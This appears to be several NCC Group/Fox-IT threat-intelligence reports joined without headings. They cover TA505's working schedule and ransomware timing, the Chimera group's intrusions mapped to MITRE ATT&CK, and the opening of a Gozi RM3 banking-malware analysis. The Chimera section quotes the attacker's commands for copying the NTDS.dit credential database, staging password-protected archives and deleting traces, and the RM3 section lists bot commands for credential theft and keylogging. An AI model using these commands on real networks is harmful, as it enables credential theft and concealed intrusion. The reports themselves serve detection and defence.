The group mostly works on Mondays, Wednesdays and Thursdays, less frequently Tuesdays, Fridays and Sundays (mostly preparing for Monday campaign). As for the time, earliest is usually 6 AM UTC and latest 10 PM UTC. Those time schedules give us once again a small indication about the time zone where the actor is operating from.
4.2. Dataset 2, Working Hours and Workflow routine
For the Dataset 2, we used as a source the first seen date of the InTELL Malware Lab. This dataset contains samples obtained after their time off. In this research we combined SDBbot data as well, which is the next stage payload of Get2. Furthermore, for this second dataset we managed to collect TA505 malspam emails from actual targets/victims indicating the country targeted from the email’s language.
Figure 7. Dataset 2, Campaigns overview
From the above graph we can clearly behold, that multiple GetandGo campaigns were downloading the “same SDBbot” (same C&C). This information makes even more clear the actual use of the short lifespan of a GetandGo C&C, which is to miss the link with the SDBbot C&C (as happened for this research on the 24th of June). This allows the group for a longer lifespan of the SDBbot C&C, avoiding being easily detected.
Figure 8. Dataset 2, GetandGo Compilation Timestamps UTC
The working days are the same since they restarted after their long time off, although now we see a small difference on the working hours, starting as early as 5 AM UTC until 11 PM UTC. This small 1 hour difference from the earliest working time might indicate that the group started “working from home” like the rest of the world during these pandemic times. However as both periods are in respectively winter and summer time, it could also be related to daylight savings time. This combined with the prior knowledge that the group is communicating in Russian language this points specifically to Ukraine being the only majority Russian speaking country with DST, but this would be speculation by itself.
The time information does point however to a likely Eastern European presence of the group, and not all members have to be necessarily in one country.
Figure 9. Dataset 2, GetandGo and SDBbot Compilation Timestamps UTC
When we plotted also the SDBbot compilation timestamps we observed that GetandGo is more of a morning/day work for the group as they need to target victims during their working schedule, but SDBbot is performed mostly during the evening, as they don’t need to hurry as much in this case.
5. Dransom Time
“Dransom time, is the period from when a malicious attack enters the network until the ransomware is released.”
Once the initial access is achieved, the group is getting its hands on SDBbot and starts moving laterally in order to obtain root/admin access to the victim company/organization. This process can vary from target to target as well as the duration from initial access (GetandGo) to ransomware (Clop).
Figure 10. Dransom Time 69 days
Figure 11. Dransom Time 3 days
Figure 12. Dransom Time 32 days
The differences on the Dransom time manifests that the group is capable of staying undetected for long periods of time (more than 2 months), as well as getting root access as fast as their time allows (3 days).
* There are definitely more extreme Dransom times accomplished by this group, but the above are some of the ones we encountered and managed to obtain.
6. Working Schedule
With the above data at hand, we were able to accurately estimate the work focus of the group at specific days and times during the past year.
The below week dates are some examples of this data, plotted in a weekly schedule (time in UTC).
* Each color represents a different campaign.
6.1. Week 42, 14-20 of October 2019
Figure 13. TA505 Weekly Schedule, week 42 2019
During this week, the group released six different campaigns targeting various geographical regions. We observe the group preparing two Monday campaigns on Sunday. And as for Tuesday, they managed to achieve the initial infection at Maastricht University.
On Wednesday, the group performed two campaigns targeting different regions, although this time they used the same C&C domain and the only difference was the URL path (f1610/f1611).
6.2. Week 43, 21-27 of October 2019
Figure 14. TA505 Weekly Schedule, week 43 2019
Throughout week 43, the group performed three campaigns. First campaign was released on Monday and was partially prepared on Sunday.
As for Wednesday, the group prepared and released a campaign on the same day, which resulted on the initial infection of Antwerp University. For the next three to four days, the group managed to get administrator access, and released Clop ransomware on Saturday of the same week.
6.3. Week 51, 16-22 of December 2019
Figure 15. TA505 Weekly Schedule, week 51 2019
Week 51 was the last week before their ~20 days “vacation” period where Fox-IT didn’t observe any new campaigns. Last campaign of this week was observed on Thursday.
During those days of “vacations”, the group was mainly off, although they were spotted activating Clop ransomware at Maastricht University and encrypting their network after more than two months since the initial access (week 42).
6.4. Week 2, 6-12 of January 2020
Figure 16. TA505 Weekly Schedule, week 2 2020
While on week 2 the group didn’t release any campaigns, they were observed preparing the first campaign since their “vacations” on late Sunday, to be later released on Monday of the 3rd week.
7. Conclusion
The extreme Dransom times demonstrate a highly sophisticated and capable threat actor, able to stay under the radar for long periods of time, as well as quickly achieving administrator access when possible. Their working schedule manifests a well-organized and well-structured group with high motivation, working in a criminal enterprise full days starting early and finishing late at night when needed. The hourly timing information does suggest that the actors are in Eastern Europe and mostly working along a fairly set schedule, with a reasonable possibility that the group resides in Ukraine as the only majority Russian speaking country observing daylight savings time. Since their MO switched after the introduction of Clop ransomware in early 2019, TA505 has been an important threat to all kind of organizations in various sectors across the world.
NCC Group and Fox-IT have been tracking a threat group with a wide set of interests, from intellectual property (IP) from victims in the semiconductors industry through to passenger data from the airline industry.
In their intrusions they regularly abuse cloud services from Google and Microsoft to achieve their goals. NCC Group and Fox-IT observed this threat actor during various incident response engagements performed between October 2019 until April 2020. Our threat intelligence analysts noticed clear overlap between the various cases in infrastructure and capabilities, and as a result we assess with moderate confidence that one group was carrying out the intrusions across multiple victims operating in Chinese interests.
In open source this actor is referred to as Chimera by CyCraft.
NCC Group and Fox-IT have seen this actor remain undetected, their dwell time, for up to three years. As such, if you were a victim, they might still be active in your network looking for your most recent crown jewels.
We contained and eradicated the threat from our client’s networks during incident response whilst our Managed Detection and Response (MDR) clients automatically received detection logic.
With this publication, NCC Group and Fox-IT aim to provide the wider community with information and intelligence that can be used to hunt for this threat in historic data and improve detections for intrusions by this intrusion set.
Throughout we use terminology to describe the various phases, tactics, and techniques of the intrusions standardized by MITRE with their ATT&CK framework . Near the end of this article all the tactics and techniques used by the adversary are listed with links to the MITRE website with more information.
From initial access to defense evasion: how it is done
In all the intrusions we have observed they are performed in similar ways by the adversary: from initial access all the way to actions on objectives. The objective in these cases appear to be stealing sensitive data from the victim’s networks.
Credential theft and password spraying to Cobalt Strike
This adversary starts with obtaining usernames and passwords of their victim from previous breaches. These credentials are used in a credential stuffing or password spraying attack against the victim’s remote services, such as webmail or other internet reachable mail services. After obtaining a valid account, they use this account to access the victim’s VPN, Citrix or another remote service that allows access to the network of the victim. Information regarding these remotes services is taken from the mailbox, cloud drive, or other cloud resources accessible by the compromised account. As soon as they have a foothold on a system (also known as patient zero or index case), they check the permissions of the account on that system, and attempt to obtain a list of accounts with administrator privileges. With this list of administrator-accounts, the adversary performs another password spraying attack until a valid admin account is compromised. With this valid admin account, a Cobalt Strike beacon is loaded into memory of patient zero. From here on the adversary stops using the victim’s remote service to access the victim’s network, and starts using the Cobalt Strike beacon for remote access and command and control.
Network discovery and lateral movement
The adversary continues their discovery of the victim’s network from patient zero. Various scans and queries are used to find proxy settings, domain controllers, remote desktop services, Citrix services, and network shares. If the obtained valid account is already member of the domain admins group, the first lateral move in the network is usually to a domain controller where the adversary also deploys a Cobalt Strike beacon. Otherwise, a jump host or other system likely used by domain admins is found and equipped with a Cobalt Strike beacon. After this the adversary dumps the domain admin credentials from the memory of this machine, continues lateral moving through the network, and places Cobalt Strike beacons on servers for increased persistent access into the victim’s network. If the victim’s network contains other Windows domains or different network security zones, the adversary scans and finds the trust relationships and jump hosts, attempting to move into the other domains and security zones. The adversary is typically able to perform all the steps described above within one day.
During this process, the adversary identifies data of interest from the network of the victim. This can be anything from file and directory-listings, configuration files, manuals, email stores in the guise of OST- and PST-files, file shares with intellectual property (IP), and personally identifiable information (PII) scraped from memory. If the data is small enough, it is exfiltrated through the command and control channel of the Cobalt Strike beacons. However, usually the data is compressed with WinRAR, staged on another system of the victim, and from there copied to a OneDrive-account controlled by the adversary.
After the adversary completes their initial exfiltration, they return every few weeks to check for new data of interest and user accounts. At times they have been observed attempting to perform a degree of anti-forensic activities including clearing event logs, time stomping files, and removing scheduled tasks created for some objectives. But this isn’t done consistently across their engagements.
Framing the adversary’s work in the MITRE ATT&CK framework
Credential access (TA0006)
The earliest and longest lasting intrusion by this threat we observed, was at a company in the semiconductors industry in Europe and started early Q4 2017. The more recent intrusions took place in 2019 at companies in the aviation industry. The techniques used to achieve access at the companies in the aviation industry closely resembles techniques used at victims in the semiconductors industry.
The threat used valid accounts against remote services: Cloud-based applications utilizing federated authentication protocols. Our incident responders analysed the credentials used by the adversary and the traces of the intrusion in log files. They uncovered an obvious overlap in the credentials used by this threat and the presence of those same accounts in previously breached databases. Besides that, the traces in log files showed more than usual login attempts with a username formatted as email address, e.g.<username>@<email domain>. While usernames for legitimate logins at the victim’s network were generally formatted like <domain>\<username>. And attempted logins came from a relative small set of IP-addresses.
For the investigators at NCC Group and Fox-IT these pieces of evidence supported the hypothesis of the adversary achieving credentials access by brute force, and more specifically by credential stuffing or password spraying.
Initial access (TA0001)
In some of the intrusions the adversary used the valid account to directly login to a Citrix environment and continued their work from there.
In one specific case, the adversary now armed with the valid account, was able to access a document stored in SharePoint Online, part of Microsoft Office 365. This specific document described how to access the internet facing company portal and the web-based VPN client into the company network. Within an hour after grabbing this document, the adversary accessed the company portal with the valid account.
From this portal it was possible to launch the web-based VPN. The VPN was protected by two-factor authentication (2FA) by sending an SMS with a one-time password (OTP) to the user account’s primary or alternate phone number. It was possible to configure an alternate phone number for the logged in user account at the company portal. The adversary used this opportunity to configure an alternate phone number controlled by the adversary.
By performing two-factor authentication interception by receiving the OTP on their own telephone number, they gained access to the company network via the VPN. However, they also made a mistake during this process within one incident. Our hypothesis is that they tested the 2FA-system first or selected the primary phone number to send a SMS to. However the European owner of the account received a text message with Simplified Chinese characters on the primary phone number in the middle of the night Eastern European Time (EET). NCC Group and Fox-IT identified that the language in the text-message for 2FA is based on the web browser’s language settings used during the authentication flow. Thus the 2FA code was sent with supporting Chinese text.
Account discovery (T1087)
With access into the network of the victim, the adversary finds a way to install a Cobalt Strike beacon on a system of the victim (see Execution). But before doing so, we observed the adversary checking the current permissions of the obtained user account with the following commands:
net user
net user Administrator
net user <username> /domain
net localgroup administrators
If the user account doesn’t have local administrative or domain administrative permissions, the adversary attempts to discover which local or domain admin accounts exist, and exfiltrates the admin’s usernames. To identify if privileged users are active on remote servers, the adversary makes use of PsLogList from Microsoft Sysinternals to retrieve the Security event logs. The built-in Windows quser-command to show logged on users is also heavily used by them. If such a privileged user was recently active on a server the adversary executes Cobalt Strike’s built-in Mimikatz to dump its password hashes.
Privilege escalation (TA0004)
The adversary started a password spraying attack against those domain admin accounts, and successfully got a valid domain admin account this way. In other cases, the adversary moved laterally to another system with a domain admin logged in. We observed the use of Mimikatz on this system and saw the hashes of the logged in domain admin account going through the command and control channel of the adversary. The adversary used a tool called NtdsAudit to dump the password hashes of domain users as well as we observed the following command:
Note: the adversary renamed ntdsaudit.exe to msadcs.exe.
But we also observed the adversary using the tool ntdsutil to create a copy of the Active Directory database NTDS.dit followed by a repair action with esentutl to fix a possible corrupt NTDS.dit:
ntdsutil "ac i ntds" "ifm" "create full C:\Windows\Temp\tmp" q q
esentutl /p /o ntds.dit
Both ntdsutil and esentutl are by default installed on a domain controller.
A tool used by the adversary which wasn’t installed on the servers by default, was DSInternals. DSInternals is a PowerShell module that makes use of internal Active Directory features. The files and directories found on various systems of a victim match with DSInternals version 2.16.1. We have found traces that indicate DSInternals was executed and at which time, which match with the rest of the traces of the intrusion. We haven’t recovered traces of how the adversary used DSInternals, but considering the phase of the intrusion the adversary used the tool, it is likely they used it for either account discovery or privilege escalation, or both.
Execution (TA0002)
The adversary installs a hackers best friend during the intrusion: Cobalt Strike. Cobalt Strike is a framework designed for adversary simulation intended for penetration testers and red teams. It has been widely adopted by malicious threats as well.
The Cobalt Strike beacon is installed in memory by using a PowerShell one-liner. At least the following three versions of Cobalt Strike have been in use by the adversary:
Cobalt Strike v3.8, observed Q2 2017
Cobalt Strike v3.12, observed Q3 2018
Cobalt Strike v3.14, observed Q2 2019
Fox-IT has been collecting information about Cobalt Strike team servers since January 2015. This research project covers the fingerprinting of Cobalt Strike servers and is described in Fox-IT blog “Identifying Cobalt Strike team servers in the wild”. The collected information allows Fox-IT to correlate Cobalt Strike team servers, based on various configuration settings. Because of this, historic information was available during this investigation. Whenever a Cobalt Strike C2 channel was identified, Fox-IT performed lookups into the collection database. If a match was found, the configuration of the Cobalt Strike team server was analysed. This configuration was then compared against the other Cobalt Strike team servers to check for similarities in for example domain names, version number, URL, and various other settings.
The adversary heavily relies on scheduled tasks for executing a batch-file (.bat) to perform their tasks. An example of the creation of such a scheduled task by the adversary:
The batch-files appear to be used to load the Cobalt Strike beacon, but also to perform discovery commands on the compromised system.
Persistence (TA0003)
The adversary loads the Cobalt Strike beacon in memory, without any persistence mechanisms on the compromised system. Once the system is rebooted, the beacon is gone. The adversary is still able to have persistent access by installing the beacon on systems with high uptimes, such as server. Besides using the Cobalt Strike beacon, the adversary also searches for VPN and firewall configs, possibly to function as a backup access into the network. We haven’t seen the adversary use those access methods after the first Cobalt Strike beacons were installed. Maybe because it was never necessary.
After the first bulk of data is exfiltrated, the persistent access into the victim’s network is periodically used by the adversary to check if new data of interest is available. They also create a copy of the NTDS.dit and SYSTEM-registry hive file for new credentials to crack.
Discovery (TA0007)
The adversary applied a wide range of discovery tactics. In the list below we have highlighted a few specific tools the adversary used for discovery purposes. You can find a summary of most of the commands used by the adversary to perform discovery at the end of this article.
Account discovery tool: PsLogList Command used:
psloglist.exe -accepteula -x security -s -a <date>
This command exports a text file with comma separated fields. The text files contain the contents of the Security Event log after the specified date.
Psloglist is part of the Sysinternals toolkit from Mark Russinovich (Microsoft). The tool was used by the adversary on various systems to write events from the Windows Security Event Log to a text file. A possible intent of the adversary could be to identify if privileged users are active on the systems. If such a privileged user was recently active on a server the actor executes Cobalt Strike’s built-in Mimikatz to dump its credentials or password hash.
It imports the specified Active Directory database NTDS.dit and registry file SYSTEM and exports the found password hashes into RecordedTV_pdump.txt and user details in RecordedTV_users.csv.
The NtdsAudit utility is an auditing tool for Active Directory databases. It allows the user to collect useful statistics related to accounts and passwords. The utility was found on various systems of a victim and matches the NtdsAudit.exe program file version v2.0.5 published on the GitHub project page.
Network service scanning Command used:
get -b <start ip> -e <end ip> -p
get -b <start ip> -e <end ip>
Get.exe appears to be a custom tool used to scan IP-ranges for HTTP service information. NCC Group and Fox-IT decompiled the tool for analysis. This showed the tool was written in the Python scripting language and packed into a Windows executable file. Though Fox-IT didn’t find any direct occurrences of the tool on the internet, the decompiled code showed strong similarities with the source code of a tool named GetHttpsInfo. GetHttpsInfo scans the internal network for HTTP & HTTPS services. The reconnaissance tool getHttpsInfo is able to discover HTTP servers within the range of a network.
The tool was shared on a Chinese forum around 2016.
Figure 1: Example of a download location for GetHttpsInfo.exe
Lateral movement (TA0008)
The adversary used the built-in lateral movement possibilities in Cobalt Strike. Cobalt Strike has various methods for deploying its beacons at newly compromised systems. We have seen the adversary using SMB, named pipes, PsExec, and WinRM. The adversary attempts to move to a domain controller as soon as possible after getting foothold into the victim’s network. They continue lateral movement and discovery in an attempt to identify the data of interest. This could be a webserver to carve PII from memory, or a fileserver to copy IP, as we have both observed.
At one customer, the data of interest was stored in a separate security zone. The adversary was able to find a dual homed system and compromise it. From there on they used it as a jump host into the higher security zone and started collecting the intellectual property stored on a file server in that zone.
In one event we saw the adversary compromise a Linux-system through SSH. The user account was possibly compromised on the Linux server by using credential stuffing or password spraying: Logfiles on the Linux-system show traces which can be attributed to a credential stuffing or password spraying attack.
Lateral tool transfer (T1570)
The adversary is applying living off the land techniques very well by incorporating default Windows tools in its arsenal. But not all tools used by the adversary are so called lolbins: As said before, they use Cobalt Strike. But they also rely on a custom tool for network scanning (get.exe), carving data from memory, compression of data, and exfiltrating data.
But first: How did they get the tools on the victim’s systems? The adversary copied those tools over SMB from compromised system to compromised system wherever they needed these tools. A few examples of commands we observed:
In preparation of exfiltration of the data needed for their objective, the adversary collected the data from various sources within the victim’s network. As described before, the adversary collected data from an information repository, Microsoft SharePoint Online in this case. This document was exfiltrated and used to continue the intrusion via a company portal and VPN.
In all cases we’ve seen the adversary copying results of the discovery phase, like file- and directory lists from local systems, network shared drives, and file shares on remote systems. But email collection is also important for this adversary: with every intrusion we saw the mailbox of some users being copied, from both local and remote systems:
Files and folders of interest are collected as well and staged for exfiltration.
The goal of targeting some victims appears to be to obtain Passenger Name Records (PNR). How this PNR data is obtained likely differs per victim, but we observed the usage of several custom DLL files used to continuously retrieve PNR data from memory of systems where such data is typically processed, such as flight booking servers.
The DLL’s used were side-loaded in memory on compromised systems. After placing the DLL in the appropriate directory, the actor would change the date and time stamps on the DLL files to blend in with the other legitimate files in the directory.
Adversaries aiming to exfiltrate large amounts of data will often use one or more systems or storage locations for intermittent storage of the collected data. This process is called staging and is one of the of the activities that NCC Group and Fox-IT has observed in the analysed C2 traffic.
We’ve seen the adversary staging data on a remote system or on the local system. Most of the times the data is compressed and copied at the same time. Only a handful of times the adversary copies the data first before compressing (archive collected data) and exfiltrating it. The adversary compresses and encrypts the data by using WinRAR from the command-line. The filename of the command-line executable for WinRAR is RAR.exe by default.
This activity group always uses a renamed version of rar.exe. We have observed the following filenames overlapping all intrusions:
jucheck.exe
RecordedTV.ms
teredo.tmp
update.exe
msadcs1.exe
The adversary typically places the executables in the following folders:
C:\Users\Public\Libraries\
C:\Users\Public\Videos\
C:\Windows\Temp\
The following four different variants of the use of rar.exe as update.exe we have observed:
update a -m5 -hp<password> <target_filename> <source>
update a -m5 -r -hp<password> <target_filename> <source>
update a -m5 -inul -hp<password> <target_filename> <source>
update a -m5 -r -inul -hp<password> <target_filename> <source>
The command lines parameters have the following effect:
a = add to archive.
m5 = use compression level 5.
r = recurse subfolders.
inul = suppress error messages.
hp<password> = encrypt both file data and headers with password.
The used password, file extensions for the staged data differ per intrusion. We’ve seen the use of .css, .rar, .log.txt, and no extension for staged pieces of data.
After compromising a host with a Linux operating systems, data is also compressed. This time the adversary compresses the data as a gzipped tar-file: tar.gz. Sometimes no file extension is used, or the file extension is .il. Most of the times the files names are prepended with adsDL_ or contain the word “list”. The files are staged in the home folder of the compromised user account: /home/<username>/
Command and control (TA0011)
The adversary uses Cobalt Strike as framework to manage their compromised systems. We observed the use of Cobalt Strike’s C2 protocol encapsulated in DNS by the adversary in 2017 and 2018. They switched to C2 encapsulated in HTTPS in Q3 2019. An interesting observation is they made use of a cracked/patched trial version of Cobalt Strike. This is important to note because the functionalities of Cobalt Strike’s trial version are limited. More importantly: the trial version doesn’t support encryption of command and control traffic in cases where the protocol itself isn’t encrypted, such as DNS. In one intrusion we investigated, the victim had years of logging available of outgoing DNS-requests. The DNS-responses weren’t logged. This means that only the DNS C2 leaving the victim’s network was logged. We developed a Python script that decoded and combined most of the logged C2 communication into a human readable format. As the adversary used Cobalt Strike with DNS as command & control protocol, we were able to reconstruct more than two years of adversary activity. With all this activity data, it was possible for us to create some insight into the ‘office’-hours of this adversary. The activity took place six days a week, rarely on Sundays. The activity started on average at 02:36 UTC and ended rarely after 13:00 UTC. We observed some periods where we expected activity of the adversary, but almost none was observed. These periods match with the Chinese Golden Week holiday.
Figure 2: Heatmap of activity. Times on the X-axis are in UTC.
The adversary also changed their domains for command & control around the same time they switched C2 protocols. They used a subdomain under a regular parent domain with a .com TLD in 2017 and 2018, but they started using sub-domains under the parent domain appspot.com and azureedge.net in 2019. The parent domain appspot.com is a domain owned by Google, and part of Google’s App Engine platform as a service. Azureedge.net is a parent domain owned by Microsoft, and part of Microsoft’s Azure content delivery network.
Exfiltration (TA0010)
The adversary uses the command and control channel to exfiltrate small amounts of data. This is usually information containing account details. For large amounts of data, such as the mailboxes and network shares with intellectual property, they use something else.
Once the larger chunks of data are compressed, encrypted, and staged, the data is exfiltrated using a custom built tool. This tool exfiltrates specified files to cloud storage web services. The following cloud storage web services are supported by the malware:
Dropbox
Google Drive
OneDrive
The actor specifies the following arguments when running the exfiltration tool:
Name of the web service to be used
Parameters used for the web service, such as a client ID and/or API key
Path of the file to read and exfiltrate to the web service
We have observed the exfiltration tool in the following locations:
C:\Windows\Temp\msadcs.exe
C:\Windows\Temp\OneDrive.exe
Hashes of these files are listed at the end of this article.
Defense evasion (TA0005)
The adversary attempts to clean-up some of the traces from their intrusions. While we don’t know what was deleted and we were unable to recover, we did see some of their anti-forensics activity:
Windows event logs clearing,
File deletion,
Timestomping
An overview of the observed commands can be found in the appendix.
For indicator removal on host: Timestomp the adversary uses a Windows version of the Linux touch command. This tool is included in the UnxUtils repository. This makes sure the used tools by the adversary blend in with the other files in the directory when shown in a timeline. Creating a timeline is a common thing to do for forensic analysts to get a chronological view of events on a system.
The same activity group?
A number of our intrusions involved tips from an industry partner who was able to correlate some of their upstream activity.
Our threat intelligence analysts observed clear overlap between the various cases that NCC Group and Fox-IT worked in the threat’s infrastructure and capabilities, and as a result we assess with moderate confidence one activity group was carrying out the intrusions across the different type of victims.
Some overlap is very generic for a lot for a lot of groups, like the use of Cobalt Strike, or exfiltration to OneDrive. But the tool used for exfiltration to OneDrive is very specific for this adversary. The use of appspot and azureedge domains as well. The naming convention for their subdomains, tools and scripts overlap too. In summary:
The adversary: Working hours match with GMT+8.
Infrastructure: appspot.com and azureedge.net for C2 with a strong overlap in naming convention for subdomains and actual overlap in some subdomains between intrusions.
Capability: Password spraying/credential stuffing. Cobalt Strike. Copy NTDS.dit. Use scheduled tasks and batch files for automation. The use of LOLBins. WinRAR. Cloud exfil tool and exfil to OneDrive. Erasing Windows Event Logs, files and tasks. Overlap in filenames for tools, staged data, and folders.
Victim: Semiconductors and aviation industry.
We considered labelling them as two activity groups, as of the difference in victims between various intrusions. But all the other overlap is strong enough for us to consider it as one group right now. This group might have gotten a new customer interested in different data which changed the intent and victims of the adversary.
But most importantly: The largest overlap is in the top half of the pyramid of pain: domain names, host artifacts, tools, and TTPs. And these are the hardest for the adversary to change, and most effective for long-lasting detection!
Figure 3: Pyramid of pain by David J Bianco
Fox-IT and NCC Group found some very strong overlap between what we’ve seen in our intrusion, and what Cycraft describes in their APT Group Chimera report and Blackhat presentation. The bulk of the victims they describe are in different regions than we observed which is likely caused by field of view bias. SentinelOne also describes an attack and shares IOC’s that show strong overlap with the intrusions we investigated.
Conclusion
At this moment we believe based on the evidence observed that the various intrusions were performed by the same group. We can only report what we observed: first they stole intellectual property in the high tech sector, later they stole passenger name records (PNR) from airlines, both across geographical locations. Both types of stolen data are very useful for nation states.
Answering if this group has an advanced persistent threat (APT) technique, has some sort of state affiliation, or where they come from goes beyond the scope of this write-up. The threat intelligence and IOC’s we are sharing are intended to help discover and present intrusions by this and adversaries.
A word of thanks goes out to all the forensic experts, incident responders, and threat intelligence analysts who helped victims identifying and eradicating the adversary. And everybody from NCC Group and Fox-IT (part of NCC Group) for all the contributions to this article.
del /f/q *.csv *.bin
del /f/q *.exe
del /f/q *.exe *log.txt
del /f/q *.ost
del /f/q .rar update .txt
del /f/q \\c$\windows\temp*.txt
del /f/q \\c$\Progra~1\Common~1\System\msadc\msadcs.dmp
del /f/q msadcs*
del /f/q psloglist.exe
del /f/q update*
del /f/q update* .txt del /f/q update.rar
del /f/q update*rar
del /f/q update12321312.rarschtasks /delete /s /tn "update" /f
schtasks /delete /tn "update" /f
shred -n 123 -z -u .tar.gz
Our Research and Intelligence Fusion Team have been tracking the Gozi variant RM3 for close to 30 months. In this post we provide some history, analysis and observations on this most pernicious family of banking malware targeting Oceania, the UK, Germany and Italy.
We’ll start with an overview of its origins and current operations before providing a deep dive technical analysis of the RM3 variant.
Introduction
Despite its long and rich history in the cyber-criminal underworld, the Gozi malware family is surrounded with mystery and confusion. The leaking of its source code only increased this confusion as it led to an influx of Gozi variants across the threat landscape.
Although most variants were only short-lived – they either disappeared or were taken down by law enforcement – a few have had greater staying power.
Since September 2019, Fox-IT/NCC Group has intensified its research into known active Gozi variants. These are operated by a variety of threat actors (TAs) and generally cause financial losses by either direct involvement in transactional fraud, or by facilitating other types of malicious activity, such as targeted ransomware activity.
Gozi ISFB started targeting financial institutions around 2013-2015 and hasn’t stopped since then. It is one of the few – perhaps the only – main active branches of the notorious 15 year old Gozi / CRM. Its popularity is probably due to the wide range of variants which are available and the way threat actor groups can use these for their own goals.
In 2017, yet another new version was detected in the wild with a number of major modifications compared to the previous main variant:
Rebranded RM loader (called RM3)
Used exotic PE file format exclusively designed for this banking malware
Modular architecture
Network communication reworked
New modules
Given the complex development history of the Gozi ISFB forks, it is difficult to say with any certainty which variant was used as the basis for RM3. This is further complicated by the many different names used by the Cyber Threat Intelligence and Anti-Virus industries for this family of malware. But if you would like to understand the rather tortured history of this particular malware a little better, the research and blog posts on the subject by Check Pointare a good starting point.
Banking malware targeting mainly Europe & Oceania
With more than four years of activity, RM3 has had a significant impact on the financial fraud landscape by spreading a colossal number of campaigns, principally across two regions:
Oceania, to date, Australia and New Zealand are the most impacted countries in this region. Threat actors seemed to have significant experience and used traditional means to conduct fraud and theft, mainly using web injects to push fakes or replacers directly into financial websites. Some of these injectors are more advanced than the usual ones that could be seen in bankers, and suggest the operators behind them were more sophisticated and experienced.
Europe, targeting primarily the UK, Germany and Italy. In this region, a manual fraud strategy was generally followed which was drastically different to the approach seen in Oceania.
Two different approaches to fraud used in Europe and Oceania
It’s worth noting that ‘Elite’ in this context means highly skilled operators. The injects provided and the C&C servers are by far the most complicated and restricted ones seen up to this date in the fraud landscape.
Fox-IT/NCC Group has currently counted at least eight* RM3 infrastructures:
4 in Europe
2 in Oceania (that seem to be linked together based on the fact that they share the same inject configurations)
1 worldwide (using AES-encryption)
1 unknown
Looking back, 2019 seems to have been a golden age (at least from the malware operators’ perspective), with five operators active at the same time. This golden age came to a sudden end with a sharp decline in 2020.
RM3 timeline of active campaigns seen in the wild
Even when some RM3 controllers were not delivering any new campaigns, they were still managing their bots by pushing occasional updates and inspecting them carefully. Then, after a number of weeks, they start performing fraud on the most interesting targets. This is an extremely common pattern among bank malware operators in our experience, although the reasons for this pattern remain unclear. It may be a tactic related to maintaining stealth or it may simply be an indication of the operators lagging behind the sheer number of infections.
The global pandemic has had a noticeable impact on many types of RM3 infrastructure, as it has on all malware as a service (MaaS) operations. The widespread lockdowns as a result of the pandemic have resulted in a massive number of bots being shut down as companies closed and users were forced to work from home, in some cases using personal computers. This change in working patterns could be an explanation for what happened between Q1 & Q3 2020, when campaigns were drastically more aggressive than usual and bot infections intensified (and were also of lower quality, as if it was an emergency). The style of this operation differed drastically from the way in which RM3 operated between 2018 and 2019, when there was a partnership with a distributor actor called Sagrid.
Analysis of the separate campaigns reveals that individual campaign infrastructures are independent from each of the others and operate their own strategies:
RM3 Infra
Tasks
Injects †
Financial
VNC
SOCKS
UK 1
No‡
Yes
Yes
Yes
UK 2
Yes
No
No
No
Italy
No‡
Yes
Yes
Yes
Australia/NZ 1
Yes
Yes
No‡
No
Australia/NZ 2
Yes
Yes
No‡
No
RM3 .at
???
???
???
???
Germany
???
???
???
???
Worldwide
Yes
No
No
No
† Based on the web inject configuration file from config.bin ‡ Based on active campaign monitoring, threat actor team(s) are mainly inspecting bots to manually push extra commands like VNC module for starting fraud activities.
A robust and stable distribution routine
As with many malware processes, renewing bots is not a simple, linear thing and many elements have to be taken into consideration:
Malware signatures
Packer evading AV/EDR
Distribution used (ratio effectiveness)
Time of an active campaign before being takedown by abuse
Many channels have been used to spread this malware, with distribution by spam (malspam) the most popular – and also the most effective. Multiple distribution teams are behind these campaigns and it is difficult to identify all of them; particularly so now, given the increased professionalisation of these operations (which now can involve shorter term, contractor like relationships). As a result, while malware campaign infrastructures are separate, there is now more overlap between the various infrastructures. It is certain however that one actor known as Sagrid was definitely the most prolific distributor. Around 2018/2019, Sagrid actively spread malware in Australia and New Zealand, using advanced techniques to deliver it to their victims.
RM3 distribution over the past 4 years
The graphic below shows the distribution method of an individual piece of RM3 malware in more detail.
A simplified path of a payload from its compilation to its delivery
Interestingly, the only exploit kit seen to be involved in the distribution of RM3 has been Spelevo – at least in our experience. These days, Exploit Kits (EK) are not as active as in their golden era in the 2010s (when Angler EK dominated the market along with Rig and Magnitude). But they are still an interesting and effective technique for gathering bots from corporate networks, where updates are complicated and so can be delayed or just not performed. In other words, if a new bot is deployed using an EK, there is a higher chance that it is part of big network than one distributed by a more ‘classic’ malspam campaign.
Strangely, to this date, RM3 has never been observed targeting financial institutions in North America. Perhaps there are just no malicious actors who want to be part of this particular mule ecosystem in that zone. Or perhaps all the malicious actors in this region are still making enough money from older strains or another banking malware.
Nowadays, there is a steady decline in banking malware in general, with most TAs joining the rising and explosive ransomware trend. It is more lucrative for bank malware gangs to stop their usual business and try to get some exclusive contracts with the ransom teams. The return on investment (ROI) of a ransom paid by a victim is significantly higher than for the whole classic money mule infrastructure. The cost and time required in money mule and inject operations are much more complex than just giving access to an affiliate and awaiting royalties.
Large number of financial institutions targeted
Fox-IT/NCC Group has identified more than 130 financial institution targeted by threat actor groups using this banking malware. As the table below shows, the scope and impact of these attacks is particularly concentrated on Oceania. This is also the only zone where loan and job websites are targeted. Of course, targeting job websites provides them with further opportunities to hire money mules more easily within their existing systems.
Country
Banks
Web Shops
Job Offers
Loans
Crypto Services
UK
28
1
0
0
0
IT
17
0
0
0
0
AU/NZ
80~
0
2
2
6
A short timeline of post-pandemic changes
As we’ve already said, the pandemic has had an impact across the entire fraud landscape and forced many TAs (not just those using RM3) to drastically change their working methods. In some cases, they have shut down completely in one field and started doing something else. For RM3 TAs, as for all of us, these are indeed interesting times.
Q3 2019 – Q2 2020, Classic fraud era
Before the pandemic, the tasks pushed by RM3 were pretty standard when a bot was part of the infrastructure. The example below is a basic check for a legitimate corporate bot with an open access point for a threat actor to connect to and start to use for fraud.
Otherwise, the banking malware was configured as an advanced infostealer, designed to steal data and intercept all keyboard interactions.
GET_CREDS
LOAD_MODULE=mail.dll,UXA
LOAD_KEYLOG=*
Q4 2020 – Now, Bot Harvesting Era
Nowadays, bots are basically removed if they are coming from old infrastructures, if they are not part of an active campaign. It’s an easy way for them for removing researcher bots
DEL_CONFIG
Otherwise, this is a classic information gathering system operation on the host and network. Which indicates TAs are following the ransomware path and declining their fraud legacy step by step.
GET_SYSINFO
RUN_CMD=net group "domain computers" /domain
RUN_CMD=net session
RM3 Configs – Invaluable threat intelligence data
RM3.AT
Around the summer of 2019, when this banking malware was at its height, an infrastructure which was very different from the standard ones first emerged. It mostly used infostealers for distribution and pushed an interesting variant of the RM3 loader.
